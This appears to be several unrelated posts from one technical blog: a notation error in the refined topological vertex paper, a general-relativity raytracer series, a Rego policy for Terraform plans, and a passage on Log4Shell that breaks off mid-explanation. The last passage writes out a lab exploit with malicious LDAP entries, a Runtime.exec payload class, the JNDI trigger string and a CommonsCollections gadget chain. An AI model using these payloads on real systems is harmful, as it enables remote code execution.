This is a nice showcase of how LLMs are able to help even with somewhat niche topics of physics and mathematics.

The Setup

The refined topological vertex is a combinatorial building block for computing partition functions of topological string theory on toric Calabi-Yau geometries. It was introduced by Iqbal, Kozcaz, and Vafa (IKV) in 2007 and depends on two parameters $(q, t)$ instead of the single coupling of the unrefined vertex.

The setup on my side was simple: a research wiki that the agent could read and write, Claude as the agent, and Mathematica for the algebra. I asked Claude to compute a couple of example geometries and document them as step-by-step derivations, checking the results against independent answers. Nobody had asked it to verify the paper. During those checks, Claude noticed a problem with the arm and leg convention in the formula, and I asked it to investigate whether the discrepancy came from our implementation or from the paper itself.

The Vertex in Brief

The vertex is a sum over Young diagrams. For a box at position $(i,j)$ in a diagram $\nu$, two standard quantities appear everywhere in this subject:

• the arm length $a_\nu(i,j) = \nu_i - j$, the number of boxes to the right,
• the leg length $\ell_\nu(i,j) = \nu_j^t - i$, the number of boxes below.

The vertex depends on a function $\tilde{Z}_\nu(t,q)$, defined in equation (25) of the paper (the same definition recurs at equations (12) and (85)):

together with inline definitions $a(i,j) = \nu_j^t - i$ and $\ell(i,j) = \nu_i - j$.

A closer look at these definitions shows the problem. The letter $a$ is defined as what is universally called the leg, and $\ell$ as the arm. The equation is self-consistent if you use its inline definitions. But anyone who sees the letters $a$ and $\ell$ and reaches for the standard arm and leg, which the paper itself draws in its Appendix A, implements the formula with the two exponents swapped.

An Independent Check

This is the issue. I will call it the face-value reading: the letters taken at face value, with $a_\nu$ and $\ell_\nu$ carrying their standard meanings. It gives

This can be checked using the resolved conifold, for which the paper computes the partition function in two ways. The first uses a sum over Young diagrams built from $\tilde{Z}_\nu$ (equation (64)). The second uses Schur-function identities that do not depend on the arm and leg product and gives the closed form in equations (67)-(68):

I can therefore use the second result as an independent check. Expanding both expressions in $Q$ and subtracting the closed form from the face-value result gives

The terms at order $Q$ agree, but at order $Q^2$ the difference is not zero. Its factor of $(q-t)^2$ also shows that setting $q=t$, the usual unrefined check, cannot reveal the problem. The direct alternative reading is to swap the arm and leg lengths in the exponents:

With this definition, the coefficients agree analytically with the independent product formula.

This is not a random change made to force agreement. Equation (25) uses the letters $a$ and $\ell$ differently from their standard meaning in the paper’s own appendix. Swapping them is therefore the direct alternative reading of the formula.

Why It Is Easy to Miss

The factor $(q-t)^2$ explains why this mistake is so easy to miss:

• One sanity check for anything refined is the unrefined limit $t = q$. There both readings collapse to the same expression, so every unrefined test passes with the wrong formula.
• The error is not even linear in $(q-t)$, so first-order expansions around the unrefined limit pass too.
• At degree one in $Q$ the two readings agree, because the single-box diagram is its own transpose, so the simplest refined check also passes.

There is a structural reason for this behavior. Transposing a Young diagram swaps its arms and legs, so the face-value reading is the intended function evaluated on the transposed diagram:

Inside the partition sum, this introduces an additional factor

This is a framing twist. At $t=q$ it equals one, which explains why the unrefined limit cannot distinguish the two readings.

The linear term also vanishes. Under transposition, $\kappa(\nu)$ changes sign, while the rest of the summand at $t=q$ remains unchanged. The contributions from $\nu$ and $\nu^t$ therefore cancel in pairs. The first possible difference is quadratic in $(q-t)$.

The same factor prevents the direct use of the Cauchy identity that produces the paper’s closed product. It depends on the shape of the diagram, not only on its degree $\lvert\nu\rvert$, so it cannot be absorbed into the parameter $Q$.

The Paper Against Itself

The conifold comparison shows which reading gives the correct partition function. The appendix makes the source of the mismatch visible directly. Figure 23 (page 59 of the arXiv version) defines $a$ and $\ell$ pictorially in the standard way, displays the general product $(1 - t^{a+1}q^{\ell})^{-1}$, and then displays a worked example,

Working out the general formula as printed, with the figure’s own $a$ and $\ell$, gives instead

visibly different factors. The printed example agrees with the intended reading, $t^{\ell+1}q^{a}$ in standard names, and contradicts the general formula two lines above it.

I expected equation (149) directly below, which identifies $\tilde{Z}_\nu$ as a principal specialization of a Macdonald function, to settle the question the same way. It settles it the other way. As printed,

equals the face-value product, not the intended one. The partition $\nu=(2)$ decides this free of any convention ambiguity: $\nu^t=(1,1)$ and $P_{(1,1)} = e_2$ for every $(q,t)$, so the right-hand side is $t^{-2}\, e_2(t^{1/2}, t^{3/2}, \dots) = 1/\big((1-t)(1-t^2)\big)$, with no $q$ in it at all, while the intended reading gives $1/\big((1-t)(1-tq)\big)$. The identification that matches the intended reading is

So the equations of the paper split into two internally consistent clusters: the worked example of Figure 23, the conifold computation, and the gauge-theory comparison use the intended function, while the Macdonald identifications (the first line of equation (25), equation (149), and equation (154)) are transposed in exactly the same way as the letters and hold only for the face-value product.

To be clear about what kind of error this is: the partition functions in the paper are correct. The product formula in equation (25), read strictly with its own inline definitions, produces the right function, and the authors evidently computed with the right object. What is wrong is the labeling, and with it the Macdonald identifications that repeat the same transposition. The wrong numbers appear only when a reader takes the letters, or the Macdonald formula, at face value. The computed results are internally consistent; the notation around them is not.

And this is where my confusion came from. Everyone implementing this formula faces the same silent choice between the letters and the standard convention, nothing in the usual checks reveals which branch you took, and different implementations end up disagreeing in ways that are miserable to track down.

Finding the error requires no individually difficult step. It requires keeping $q$ and $t$ distinct, expanding beyond degree one, comparing against an independent derivation, and checking the notation against the appendix. The value of the setup lies in carrying out that full chain. Claude reads the paper, translates the formulas into computations, and decides what to compare. Mathematica performs the symbolic algebra and checks whether the resulting expressions are equal.

Reproducing It

The symbolic checks in this post come from a single short Mathematica script. Its first part takes a partition, builds both readings of equation (25) from the arm and leg definitions, and prints the two factored products next to the Figure 23 comparison. Change the partition and it recomputes. Its second part derives the $(q-t)^2$ difference formula for the conifold at degree two, after checking that both readings agree at degree one. Its third part checks the $\nu=(2)$ Macdonald specialization. Running it verifies the main results above: the intended reading matches the product exactly, the face-value reading differs by a term with an explicit $(q-t)^2$ factor, the difference vanishes at $t = q$, the Figure 23 example agrees only with the intended reading, and equation (149) as printed agrees only with the face-value reading. The full algorithm for building partition functions from the vertex (gluing rules, framing, general geometries) is a story for another post.

References

• The Refined Topological Vertex (Iqbal, Kozcaz, Vafa; equations (12), (25), (85), (149), (154), the conifold of Section 5.1, and Appendix A, Figure 23)
• Young tableau (arm and leg lengths as standard combinatorial quantities)
• Macdonald polynomial (conventions for $P_\lambda(x;q,t)$; $P_{(1^r)} = e_r$ for all parameters)

I set out to build a raytracer (gr_raytracer) that is as generic as possible: new geometries can be added and geodesic equations can be solved in different ways, while the overall raytracing logic stays the same. At its core, a component takes a ray with a 4-position ($x^\mu$) and a 4-momentum ($p^\mu$) and integrates it into a trajectory (a sequence of positions and momenta). This integration step is the shared foundation across all geometries.

Those rays are then checked for intersections with objects and assigned a color.

But let us first look at what makes a raytracer in curved spacetime special.

Raytracing

One big difference is that in Euclidean geometry it is simple to define a ray as

Here, the parameter $t$ is a simple curve parameter. In the Euclidean case, this simple form allows closed-form intersection tests with various objects like triangles or spheres. We could just set up a ray belonging to a pixel on the camera and check for all possible intersections. More complex topics like reflections and lighting are not covered here, as the General Relativity raytracer does not handle them. It just checks if it hit an object or escaped to infinity and then computes a color from some internal data of the object, like the temperature or a texture.

In General Relativity, on the other hand, we integrate with respect to an affine parameter $\lambda$ (since we are dealing with photons, these are null geodesics).

The basic concept is shown in Figure 1, where we have a pinhole camera that collects light. To compute this, the actual algorithm shoots rays from the pinhole camera through a screen until they reach an object. As described above, light sources are ignored in this case, assuming the objects are self-illuminating. Each ray is assigned a pixel on the screen based on where it crosses the corresponding part of the image plane.

Figure 1: Raytracer Euclidean

With a raytracer in a curved space, this will look different. Let’s look at an example with a Schwarzschild black hole. Note that these are not correct trajectories but just an illustration to show the principle.

Figure 2: Black Hole Raytracer Illustration

These trajectories are given by the geodesic equations:

As mentioned, more details about them will come in later posts. This also means we cannot just directly compute intersections via simple algebraic formulas, but must instead step along the geodesic, checking for intersections at each discrete interval. For this, a numerical integration method has to be used. In this case, it is an adaptive Runge-Kutta-Fehlberg (RKF45) method.

The Pipeline

The renderer creates sRGB and HDR images. It uses rayon, a Rust parallelism library, to parallelize the computation. Each ray goes through the integration stage. The resulting trajectory is then analyzed for intersections with various object types, from which a final color is assigned.

The integration stage accepts a geometry definition, which provides the geodesic equations to be integrated. More details about that will come in later posts.

Figure 3: Raytracer Architecture

Example Result

The final result of a render of a near-extremal Kerr black hole with an accretion disk looks like this:

Figure 4: Render of a Kerr Black Hole

The visible distortion of the accretion disk, where the part behind the black hole appears to be bent up and over it, is a direct visual consequence of gravitational lensing.

The background image is Messier 25 from Wikimedia Commons.

The next post digs into why straight lines aren’t so straightforward in curved coordinates and how that motivates the geodesic equation: Straight Lines in Curved Coordinates.

Why the straight-line formula breaks

In Euclidean space, a ray is just described by

Here $\mathbf{x}$ and $\mathbf{x}_0$ are points on the manifold and $\mathbf{d}$ lives in the tangent space. Each point has its own tangent space, and tangent vectors and points live in different spaces. This formula works because in Cartesian coordinates the natural identification between points and vectors in $\mathbb{R}^n$ lets you treat a direction as a displacement. In other coordinate systems, that identification breaks down. Let’s see what happens in polar coordinates.

Polar coordinates

In 2D, the transformation between Cartesian and polar coordinates is:

Why the naive approach fails

You can define a tangent direction in polar components, but you cannot then add coordinate tuples as if they were vectors in a single linear space. For example, start at the point $(r, \theta) = (1, 0)$ and pick the polar direction $\mathbf{d} = (0, 1)_p$, i.e. pure $\theta$-motion at constant $r$. Applying the straight-line formula naively gives (note that this is incorrect usage and just serves as an example of how Cartesian coordinates are special):

This traces a circle of radius 1, not a straight line. Converting a few points to Cartesian makes it obvious:

The trajectory curves because polar coordinate tuples can’t be added like vectors. Adding a displacement only works in Cartesian coordinates, where the basis vectors are constant.

This is why we need to carefully distinguish between points like $\mathbf{x}$ and $\mathbf{x}_0$ and elements of the tangent space like $\mathbf{d}$.

Getting straight lines right

The straight-line formula

is actually the solution of a differential equation:

The rest of this section works through the algebra to reach the geodesic equations in polar coordinates. If you want to skip ahead, jump to Christoffel Symbols.

The problem in polar coordinates is that the basis vectors of the tangent space

depend on position. As a result, derivatives of vectors must also account for changes in the basis vectors themselves. From the coordinate transformation, we can express the polar basis vectors in terms of the Cartesian ones.

We write

and compute the following:

Both depend on $(r, \theta)$, so the basis changes from point to point, and the differential equation gets more complicated.

Drag the point in the diagram below to see this in action. The polar basis vectors (solid) change at every point, while the Cartesian ones (dashed) stay the same.

Let’s see how $\ddot{\mathbf{x}}(t)$ behaves in polar coordinates:

These derivatives depend on $t$:

Putting it all together:

Setting

and computing:

Plugging everything in:

These are the geodesic equations for flat space in polar coordinates. In curved spacetime, the same kind of equations appear, just with different Christoffel symbols, which are computed from the metric. It’s precisely these equations that the raytracer solves numerically for each photon path.

Christoffel Symbols

Setting

we have

when defining

The non-zero Christoffel symbols for polar coordinates are

Parallel transport and the Christoffel correction

Since every point has its own tangent space, comparing vectors at different points requires a way to carry one vector over to another point without changing it. This is what parallel transport does, and the Christoffel symbols tell you how to do it: they encode how much the basis vectors rotate as you move through the coordinate system.

In flat space, a vector always comes back unchanged after a full loop. In curved spacetime, it generally doesn’t. That failure is one way to detect curvature. We won’t get into curvature here, but the transport machinery is the same. To see what this means concretely, consider carrying a vector around a circle at constant $r$ in polar coordinates.

What “parallel transport” means

A tangent vector $\mathbf{V} = V^r\,\mathbf{e}_r + V^\theta\,\mathbf{e}_\theta$ is described by its components in the polar basis we derived earlier. Moving it without rotating it sounds trivial in Cartesian coordinates: just keep $(V_x, V_y)$ constant. In polar coordinates the same physical operation looks more complicated because $\mathbf{e}_r$ and $\mathbf{e}_\theta$ rotate as you move around the circle. If you naively keep the polar components $(V^r, V^\theta)$ constant, the vector rotates with the basis, which is not the same vector anymore.

Parallel transport fixes this by adjusting the components to compensate for the rotating basis. The general parallel transport equation for a vector $V^k$ along a curve $x^i(t)$ is

Note the similarity to the geodesic equations: a geodesic is a curve that parallel-transports its own tangent vector, so setting $V = \dot{x}$ recovers $\dot{x}^i\dot{x}^j$. Here $\dot{x}^i$ is the tangent to the curve you’re transporting along, and $V^j$ is the vector being transported.

For motion around a circle of radius $r$ with $\dot{\theta} = 1$ and $\dot{r} = 0$, all $i = r$ terms vanish, and the Christoffel symbols ($\Gamma^r_{\theta\theta} = -r$ and $\Gamma^\theta_{\theta r} = \tfrac{1}{r}$) give the transport equations:

These have an analytic solution: the polar components trace out sine and cosine while the Cartesian components stay constant:

The interactive diagram below lets you see all of this in action.

Reading the diagram: Drag the origin of the arrow to set the radius $r$ (the Christoffel values in the right panel update live). Drag the handle at the arrow tip to set the initial direction. Press play to transport the vector around the circle.

• Blue arrow: correctly transported vector. Its Cartesian components stay constant (shown in the right panel).
• Red dashed arrow: what you get if you keep the polar components fixed. It drifts because the basis rotates underneath it.
• Orange arrow: the $\Gamma$ correction, i.e. the gap from the red tip to the blue tip. This is what the Christoffel symbols add at each step.

Enable Show $\Gamma$ correction arrows to decompose the orange correction into its two arms:

The $\Delta V^r\,\mathbf{e}_r$ arm (amber) and the $r\,\Delta V^\theta\,\hat{\mathbf{e}}_\theta$ arm (dark orange) are shown lined up to create the final displacement vector. The Christoffel symbols are exactly the proportionality constants that turn “how far you moved” ($\Delta t$) and “the vector to transport” ($V^r$, $V^\theta$) into “how much the components must change”.

Component space (lower-right panel): The key insight is visible in the small diagram: plot the polar components as the point $(V^r,\, r V^\theta)$. This point traces a circle as $t$ increases and never leaves it, regardless of $r$ or initial direction. The orange line is the total correction from the vector sum, and its horizontal/vertical legs are exactly the $\Delta V^r$ and $r\,\Delta V^\theta$ arms shown in the main diagram.

In curved spacetime, the same structure appears, but the vector no longer returns to where it started after a full loop. That failure to close is curvature.

Summary

The geodesic equation

replaces the straight-line formula in any coordinate system. For flat space in polar coordinates, it gives the equations we derived above. For curved spacetimes like Schwarzschild or Kerr, the Christoffel symbols change but the structure is the same. The raytracer integrates this equation numerically for each photon.

The next post covers how to use this machinery to set up the camera.

This is Part 3 of the series. Part 1 covered the basic setup; Part 2 covered the difficulties of tracing straight lines in non-Cartesian coordinates. Now for one of the key elements: the camera.

In Euclidean space, setting up rays is straightforward: fire them from an origin through a screen and associate each one with a pixel (see Generating Camera Rays). For a GR raytracer, there are two complications:

• The spacetime is curved.
• We want to model physical entities like photons.

How to set up the camera

The geodesic equation tells us how a photon travels once it is moving. But we still need to answer a prior question: what are the initial conditions? In other words, which rays does the camera fire, and in which directions?

The local observer frame

The geodesic equation is written in global coordinates. These are coordinates that cover the whole spacetime. A camera, however, is a local device. It sits at one point in spacetime and measures directions relative to itself. We therefore need a way to translate between the global coordinate description and what the observer locally perceives.

This is done via a tetrad, which is a set of four orthonormal vectors ${e_t, e_x, e_y, e_z}$ attached to the observer’s position in our case. Think of it as a local coordinate system carried by the observer, analogous to setting up a small flat patch of space around you. The vector $e_t$ points along the observer’s worldline (their notion of “forward in time”), while $e_x$ (right), $e_y$ (up), and $e_z$ (forward) span the local spatial directions.

Orthonormality here is defined with respect to the spacetime metric $g_{\mu\nu}$:

where $\eta_{ab}$ is the flat Minkowski metric. This means that locally, at the observer’s position, everything looks like flat spacetime, which is precisely the equivalence principle.

The tetrad depends on both the position in spacetime and the observer’s state of motion. For a different spacetime geometry (Schwarzschild, Kerr, …) the tetrad takes a different form, but its role is always the same: bridge between the curved global picture and the observer’s flat local picture.

Example: stationary observer in flat spacetime

The simplest case is a stationary observer in flat spacetime using Cartesian coordinates. The four-velocity is just

and a natural choice for the spatial tetrad vectors is

Each spatial vector is orthogonal to the four-velocity, $e_x^\mu u_\mu = 0$, and they are orthonormal among themselves.

Generating rays

The approach here follows Seeing relativity – I. In flat space, a pinhole camera works by imagining a screen in front of the camera. Each pixel on the screen corresponds to a direction, and a ray is fired along that direction. We can do the same here, but in the observer’s local frame.

For a pixel at position $(i’, j’)$ on the screen (coordinates of the pixels on the screen, centered on the optical axis and scaled by the field of view), we construct a spacelike vector pointing toward that pixel:

This maps the screen coordinates to a direction on the unit sphere. Stereographic projection is a natural choice because it maps circles on the sky to circles on the screen. The black hole silhouette, for example, always appears circular regardless of where it sits in the frame (see Sec. II of Seeing relativity I). Following Eq. 5, we construct a unit spacelike direction:

Verify: $N \cdot N = -1$, i.e., $N$ is a unit spacelike vector. To trace this pixel, we fire a ray in direction $N$. Its 4-momentum is

which is indeed null: $p \cdot p = e_t \cdot e_t + 2\,e_t \cdot N + N \cdot N = 1 + 0 + (-1) = 0$. This is the ray’s initial 4-momentum, future-directed and pointing outward from the camera.

A side note on the sign: Seeing relativity I writes the wave vector as $k^\mu \propto u_\text{obs}^\mu - N^\mu$, i.e. with a minus sign. The reason is that the paper traces the photon backwards from the observer to the celestial sphere, so $N$ points towards where the photon came from. Here the ray is traced forwards, away from the camera, which flips the sign of $N$. Both vectors are null, and the resulting image is the same.

The interactive visualization below shows how the pixel grid maps to directions on the unit sphere, seen head-on along the camera’s forward axis. Notice how equal-size pixels on the sensor do not map to equal solid angles on the sky: the dots crowd together near the edges of the sphere.

These components $p^\mu$, expressed in the global coordinate system, are the initial conditions fed into the geodesic equation. From here the numerical integrator takes over and traces the photon’s path through the curved spacetime.

Orientation and motion

Two more physical ingredients are worth noting.

The camera can be oriented in any direction by rotating the spatial tetrad vectors $e_x$, $e_y$, $e_z$ before computing the rays. This works the same way as rotating a camera in flat space.

If the observer is moving relative to the coordinate frame, the tetrad must be Lorentz-boosted accordingly. A moving observer sees a different sky than a stationary one: stars appear shifted toward the direction of motion, an effect known as relativistic aberration. The boost is applied to all four tetrad vectors before ray generation, so this effect is automatically included.

Example: observer moving along the $z$-axis

Consider an observer moving along the $z$-axis with velocity $v$. The Lorentz boost gives the four-velocity

The spatial tetrad vectors $e_x$ and $e_y$ are unaffected by the boost, but $e_z$ picks up a timelike component:

Checking: $e_z^\mu u_\mu = 0$ and $e_z^\mu (e_z)_\mu = -1$ still hold. The mixing of the time and space components in $e_z$ is what produces aberration: rays that were straight ahead for the stationary observer are now tilted in the boosted frame.

Initial conditions in the Schwarzschild geometry

With the general framework in place, let’s apply it to the geometry we actually care about. For the concrete case of Schwarzschild spacetime, we need to specify an explicit tetrad. The Schwarzschild metric in spherical coordinates $(t, r, \theta, \varphi)$ is

A first guess for the tetrad would be to simply normalise the coordinate basis, which gives a timelike vector proportional to $\partial_t$ and spatial vectors proportional to $\partial_r$, $\partial_\theta$, $\partial_\varphi$. This works, but only outside the horizon where $f(r) > 0$. Inside the horizon $f(r)$ changes sign, so $\partial_t$ becomes spacelike and $\partial_r$ becomes timelike. The tetrad no longer has the right signature.

A better choice, following Seeing relativity I, is the tetrad associated to a freely falling observer starting from rest at infinity with zero angular momentum. This is known as the rain frame. (The paper calls it a Zero Angular Momentum Observer (ZAMO), but that term more commonly refers to the non-infalling locally non-rotating observer, which in Schwarzschild is just the static one.) Its explicit components in Schwarzschild coordinates (Eq. 8 of the paper) are

In practice the observer placed in front of the scene is not necessarily freely falling. The rain-frame tetrad therefore serves as a reference frame: the actual observer velocity is applied on top of it via a Lorentz boost, exactly as described in the moving observer example above. The boost transforms the freely-falling frame into the observer’s own frame before the rays are generated.

This data could be Kubernetes manifests. See the OPA Gatekeeper for this. There is a talk (How Netflix Is Solving Authorization Across Their Cloud) by Netflix about how to use OPA for authorization, e.g. on REST endpoints. And as we will see later, it can also be used to evaluate Terraform plans.

This shows how OPA can be used in a wide range of use cases and as such can unify it. At least to some degree, as the structured data will be quite different in each use case. What will stay the same is the language used to describe the policies, which is called Rego.

Rego needs getting some used to but has certain language features that makes the task of evaluating rules easier. My approach here will be to set a target for a simple policy and use this to figure out how Rego works. As a result this certainly will not lead to the most optimal code :), so be warned!

I also will not go into detail about how to execute Rego scripts, as it is all well explained in the documentation of OPA.

Terraform Policy Check

One reason for me to evaluate OPA was to see if it could help to automatically check Terraform plans before an apply. Some things should get manually approved, but certain changes may get approved automatically. One simple example would be changes of tags of AWS resources.

A tutorial to create a policy for terraform already exists. It goes in a slightly different direction, therefore I think my journey to check for changes in tags may still be helpful.

Structure of a Terraform Plan

First, we need to understand the structure of a Terraform Plan when exported to JSON.

{
  "format_version": "1.1",
  "terraform_version": "1.3.5",
  ...,
  "resource_changes": [
    {
      ...
      "change": {
        "actions": [
          "update"
        ],
        "before": {
          "ami": "ami-1234567890",
          ...
          "tags": {
            "Name": "SomeName"
          },
          "tags_all": {
            "Name": "SomeName"
          },
        }
        "after": {
          "ami": "ami-1234567890",
          ...
          "tags": {
            "Name": "SomeNewName"
          },
          "tags_all": {
            "Name": "SomeNewName"
          },
        }
    },
    ...
  ]
}

Here we can see the general structure of the planned change, the change is update and one tag will be renamed. Everything else stays the same for now. The description of this change is split in two sections: before and after , which we will need to compare.

Check for updates of resource attributes

From what we learned before, we see that we need to compare two objects for different values. But the first step would be to pick up the resource_changes for resources containing the update field first.

This can easily be done using array comprehension.

updates := [changes |
  changes := input.resource_changes[_]
  changes.change.actions[_] == "update"
]

First, all entries of resource_changes are picked up and assigned to the variable changes to collect them in the array comprehension. The entry point for the supplied data is input. Then we go through all entries of change.actions and filter those objects which contain an update. The _ is used to select entries with all keys, without naming them. If the names are needed it is possible to add a variable like input.resource_changes[key], so that key can be referenced in other places. This can be seen in one of the next steps.

This looks quite reusable, as we not only have updates, so let us introduce a function:

actions(type) := [changes |
  changes := input.resource_changes[_]
  changes.change.actions[_] == type
]

This will extract a list of changes. In each, we need to compare before and after. Let us introduce another function, that lists the keys in which before and after differ for each index idx. Here we use a set comprehension instead of an array comprehension to have access to set operations later on. some is used to declare key as a local variable. Otherwise, it could clash with global definitions.

changed_arguments(idx) := {key |
  some key
  updates[idx].change.before[key] != updates[idx].change.after[key]
}

some key is used to create a placeholder to iterate through all available keys. These are filtered by the condition in the next line. Doing this all keys where the values differ between before and after are collected. This already shows one of the strengths of Rego. Usually, we would need to iterate over the respective values, in Rego we can do it declaratively.

The resulting output, when querying changed_arguments(0) will be:

[
  [
    [
      "tags",
      "tags_all"
    ]
  ]
]

As expected, we receive a list of keys.

Now we want to create a condition that checks that only the tags have changed. There may be a better way, but letting changed_arguments create a set, removing the tag-related entries, and counting the size felt simple enough for starting out.

only_tag_changes(idx) := count(changed_arguments(idx) - {"tags", "tags_all"}) == 0

Having set all of this up we now need to evaluate this for all indices of the list of changes, i.e. for all resources appearing in the plan. We do this by collecting a list of resources where more keys than just the tags are changed:

not_only_tag_changes_for_all_resources := [name |
    some idx
    name := updates[idx].address
    not only_tag_changes(idx)
]

Iterating over indices here seems to be a bit unnatural, as we need to figure out the number of indices via updates. It is not possible to use some idx for only_tag_changes(idx) here. I.e. they do not support automatic iteration. See Functions Versus Rules

Therefore let us try to use rules.

From functions to rules

The idea now is to not iterate over the indices anymore but use the name of the resource itself as a key. This basically maps names of resources to a set of attributes that will be updated.

changed_arguments[name] := keys {
 update := updates[_]
 name := update.address
 keys := {key |
  some key
  update.change.before[key] != update.change.after[key]
 }
}

The next step was to figure out in which resources only tags have been changed. The core of this rule is still similar to the function.

only_tag_changes[key] := cnt {
 some key
 changed_argument := changed_arguments[key]
 cnt := count(changed_argument - {"tags", "tags_all"}) == 0
}

Let us check the output of this, as we did before. Now this shows the result for all resources.

[
  [
    {
      "aws_instance.test1": true,
      "aws_instance.test2": false
    }
  ]
]

And we still want to just have a list of resources where more changes happen than just changes of the tags.

not_only_tag_changes_collected_for_all_resources := [name |
 some name
 only_tag_changed := only_tag_changes[name]
 only_tag_changed == false
]

Collecting the remaining types of changes

But before we can do the final check, we need to make sure we do not create or delete anything. To be safe let us create a function that picks up the complement of the action set. If we do this we can see if changes that do not fulfill update, read, or no-op are ignored. See terraform plan change representation.

complement_actions(types) := [changes |
    changes := input.resource_changes[_]

    # Convert the list of actions to a set to use the difference operator
    actions := {action_value |
        action_value := changes.change.actions[_]
    }
    
    # Check if actions remain. These are the complement actions.
    count(actions - types) != 0
]

Using this we define

non_updates := complement_actions({"update", "read", "no-op"})

which just lists all actions that create or destroy resources. Defining it as a complement of safe options feels safer. It is better having to approve once more than to accidentally delete a resource, just because some name changed.

Now we can tie this all together into a condition that checks if all updates only contain tag changes and if there are now creations or deletions.

default allow := false
allow {
    count(not_only_tag_changes_for_all_resources) == 0
    count(non_updates) == 0
}

Rejection Reasons

This is all quite helpful already. But we just get the response true or false. It would be quite helpful to know which changes led to the decision. One possibility is to use rules that contain the reason for denying a plan. The second line of each rule contains the condition for denying, in the following lines the reason message is created. Whenever one condition is met an entry with the respective reason is created.

deny[reason] {
    count(not_only_tag_changes_for_all_resources) != 0
    reason := sprintf("For the following resources not just tags will be updated: %s", [concat(", ", not_only_tag_changes_for_all_resources)])

}

deny[reason] {
    count(non_updates) != 0
    names := [name |
        name := non_updates[_].address
    ]

    reason := sprintf("For the following resources will be created or deleted: %s", [concat(", ", names)])
}

default allow := false
allow {
    count(deny) == 0
}

A possible response is

[
  [
    [
      "For the following resources not just tags will be updated: aws_instance.test1",
      "For the following resources will be created or deleted: aws_instance.test2"
    ]
  ]
]

if additional values in aws_instance.test1 are planned to be changed. For aws_instance.test2 a create or delete is planned.

Querying allow will result in a false, as expected:

[
  [
    false
  ]
]

Resulting Rego Script

package terraform.tags

actions(type) := [changes |
	changes := input.resource_changes[_]
	changes.change.actions[_] == type
]

complement_actions(types) := [changes |
	changes := input.resource_changes[_]
	actions := {action_value |
		action_value := changes.change.actions[_]
	}
	count(actions - types) != 0
]

updates := actions("update")

non_updates := complement_actions({"update", "read", "no-op"})

changed_arguments[name] := keys {
	update := updates[_]
	name := update.address
	keys := {key |
		some key
		update.change.before[key] != update.change.after[key]
	}
}

only_tag_changes[key] := cnt {
	some key
	changed_argument := changed_arguments[key]

	changed_argument_set := {arg |
		arg := changed_arguments[_]
	}
	cnt := count(changed_argument_set - {"tags", "tags_all"}) == 0
}

not_only_tag_changes_collected_for_all_resources := [name |
	some name
	only_tag_changed := only_tag_changes[name]
	only_tag_changed == false
]

deny[msg] {
	count(not_only_tag_changes_collected_for_all_resources) != 0
	msg := sprintf("For the following resources not just tags will be updated: %s", [concat(", ", not_only_tag_changes_collected_for_all_resources)])
}

deny[msg] {
	count(non_updates) != 0
	names := [name |
		name := non_updates[_].address
	]
	msg := sprintf("For the following resources will be created or deleted: %s", [concat(", ", names)])
}

default allow := false

allow {
	count(deny) == 0
}

Especially since serialization attacks are a typical example of attack scenarios in the Java ecosystem, it is worth looking at this in a bit more detail.

In the following, I present three of the problems that have been raised. Remote classloading via LDAP, a serialization attack via LDAP, and a way to read data from the system and send it to an LDAP or DNS server.

Remote Classloading via LDAP

JNDI (Java Naming and Directory Interface) allows references to remote classes to be stored in LDAP, which are then downloaded on retrieval. To do this, the LDAP entry must have the following structure:

javaClassName: <javaClassName>
javaCodeBase: <javaCodeBase>
objectClass: javaNamingReference
javaFactory: <javaFactory>

• javaCodeBase references the location of the class. E.g. http://127.0.0.1:8888/.
• javaFactory specifies the name of the class that is downloaded from javaCodeBase. Their static initializers are then also executed so that one can relatively simply place the Exploit code in it.

The Exploit

So let’s try the following LDAP entry:

javaClassName: foo
javaCodeBase: http://127.0.0.1:8888/
objectClass: javaNamingReference
javaFactory: Exploit

The code we use is:

public class Exploit {
    static {
        System.out.println("Exploit executed");
        try {
            String[] cmd = new String[] { "<some command>" };
            java.lang.Runtime.getRuntime()
                .exec(cmd)
                .waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

This code will execute any command when the class is loaded. This can now be placed on a web server. For simplicity, I start one via python3 -m http.server 8888. Furthermore, you need an LDAP server, where the above-mentioned entry is stored. For this I used unboundid-ldapsdk. The entry is referenced by dc=javaNamingReference. The following code then triggers the exploit.

public class Main {
    private static final Logger logger = LogManager.getLogger(Main.class);
 
    public static void main(String[] args) {
        logger.error("log4shell: ${jndi:ldap://127.0.0.1:1389/dc=javaNamingReference}");
    }
}

Since this does not work with newer Java versions, you either have to run this with an old version or set the property com.sun.jndi.ldap.object.trustURLCodebase=true.

When you run this, you will now see the following:

At the top, you can see the call of the program that logs a line with log4j. After that comes the output of the LDAP server, then the output of the webserver which delivers remote classes, and at the very bottom the result of the exploit code. Here it is simply the call to exploit_code.sh, which just writes the current date to a file.

That is a call to the LDAP server which provides the data about where to find the class. This then goes to the web server from which it is downloaded.

However, Exploit is not a correct ObjectFactory, so there is a ClassCastException in the background, with the following message: class Exploit cannot be cast to class javax.naming.spi.ObjectFactory. However, this is not logged by default, and at this point the static code has already been executed, so you can make your life easy in this case. The log message is therefore also not transformed and the original string, i.e. ${jndi:ldap://127.0.0.1:1389/dc=javaNamingReference} remains.

Notes

There is the notion that thisis no longer possible in newer Java versions. Nevertheless, it is still not completely safe. So what is this all about?

Remote classloading via JNDI was actually prevented by default in later versions. This can be controlled via the parameter com.sun.jndi.ldap.object.trustURLCodebase.

This now means that you cannot use the variant with javaNamingReference for the exploit in these versions. This makes things a bit more difficult, but not impossible. However, this now depends a bit on the loaded classes.

Deserialized object via LDAP

Furthermore, JNDI allows serialized objects to be delivered, which are then deserialized. However, the class must already be known for this. For this the LDAP entry must have the following structure:

javaClassName: <javaClassName>
objectClass: javaMarshalledObject
javaSerializedData: <javaSerializedData>

In this case, of course, it is more difficult to execute arbitrary code because you have less control. However, there are regularly classes in libraries that allow this. Examples can be found here: ysoserial

The Exploit

I will use the CommonsCollections7 (or CommonsExploit) example here to run an external program.

Here we exploit that in Apache Commons Collections 3.1 you can create an unsafe transformer that is called in a LazyMap when an element is not in the map. This is defined as follows:

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[] { String.class, Class[].class },
        new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke",
        new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class },
        execArgs),
    new ConstantTransformer(1) };

So effectively Runtime.getRuntime().exec(execArgs) is used to create elements in the LazyMap. That is, an external program is called.

Now you just have to make sure that this actually happens when deserializing.

To do this, LazyMaps are first created, each of which has the same hash code.

lazyMap1.put("yy",1);
